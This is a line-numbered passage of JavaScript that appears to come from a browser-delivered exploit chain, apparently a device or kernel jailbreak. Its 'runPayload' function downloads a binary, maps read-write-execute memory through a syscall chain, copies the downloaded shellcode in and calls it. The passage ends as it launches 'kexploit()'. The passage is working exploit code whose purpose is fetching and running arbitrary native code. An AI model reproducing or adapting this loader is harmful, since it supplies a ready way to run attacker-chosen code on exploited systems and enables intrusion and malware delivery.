| 1807 | } |
| 1808 | |
| 1809 | function runPayload(path) { |
| 1810 | // Why xhr instead of fetch? More universal support, more control, better errors, etc. |
| 1811 | log(`loading ${path}`); |
| 1812 | const xhr = new XMLHttpRequest(); |
| 1813 | xhr.open("GET", path); |
| 1814 | xhr.responseType = "arraybuffer"; |
| 1815 | xhr.onreadystatechange = function () { |
| 1816 | // When request is "DONE" |
| 1817 | if (xhr.readyState === 4) { |
| 1818 | // If response code is "OK" |
| 1819 | if (xhr.status === 200) { |
| 1820 | try { |
| 1821 | // Allocate a buffer with length rounded up to the next multiple of 4 bytes for Uint32 alignment |
| 1822 | const padding_length = (4 - (xhr.response.byteLength % 4)) % 4; |
| 1823 | const padded_buffer = new Uint8Array(xhr.response.byteLength + padding_length); |
| 1824 | |
| 1825 | // Load xhr response data into the payload buffer and pad the rest with zeros |
| 1826 | padded_buffer.set(new Uint8Array(xhr.response), 0); |
| 1827 | if (padding_length) { |
| 1828 | padded_buffer.set(new Uint8Array(padding_length), xhr.response.byteLength); |
| 1829 | } |
| 1830 | |
| 1831 | // Convert padded_buffer to Uint32Array. That's what `array_from_address()` expects |
| 1832 | const shellcode = new Uint32Array(padded_buffer.buffer); |
| 1833 | |
| 1834 | // Map memory with RWX permissions to load the payload into |
| 1835 | const payload_buffer = chain.sysp("mmap", 0, padded_buffer.length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PREFAULT_READ, -1, 0); |
| 1836 | log(`payload buffer allocated at ${payload_buffer}`); |
| 1837 | |
| 1838 | // Create an JS array that "shadows" the mapped location |
| 1839 | const payload_buffer_shadow = array_from_address(payload_buffer, shellcode.length); |
| 1840 | |
| 1841 | // Move the shellcode to the array created in the previous step |
| 1842 | payload_buffer_shadow.set(shellcode); |
| 1843 | log(`loaded ${xhr.response.byteLength} bytes for payload (+ ${padding_length} bytes padding)`); |
| 1844 | |
| 1845 | // Call the payload |
| 1846 | chain.call_void(payload_buffer); |
| 1847 | |
| 1848 | // Unmap the memory used for the payload |
| 1849 | sysi("munmap", payload_buffer, padded_buffer.length); |
| 1850 | } catch (e) { |
| 1851 | // Caught error while trying to execute payload |
| 1852 | log(`error in runPayload: ${e.message}`); |
| 1853 | } |
| 1854 | } else { |
| 1855 | // Some other HTTP response code (eg. 404) |
| 1856 | log(`error retrieving payload, ${xhr.status}`); |
| 1857 | } |
| 1858 | } |
| 1859 | }; |
| 1860 | xhr.onerror = function () { |
| 1861 | log("network error"); |
| 1862 | }; |
| 1863 | xhr.send(); |
| 1864 | } |
| 1865 | |
| 1866 | kexploit().then(() => { |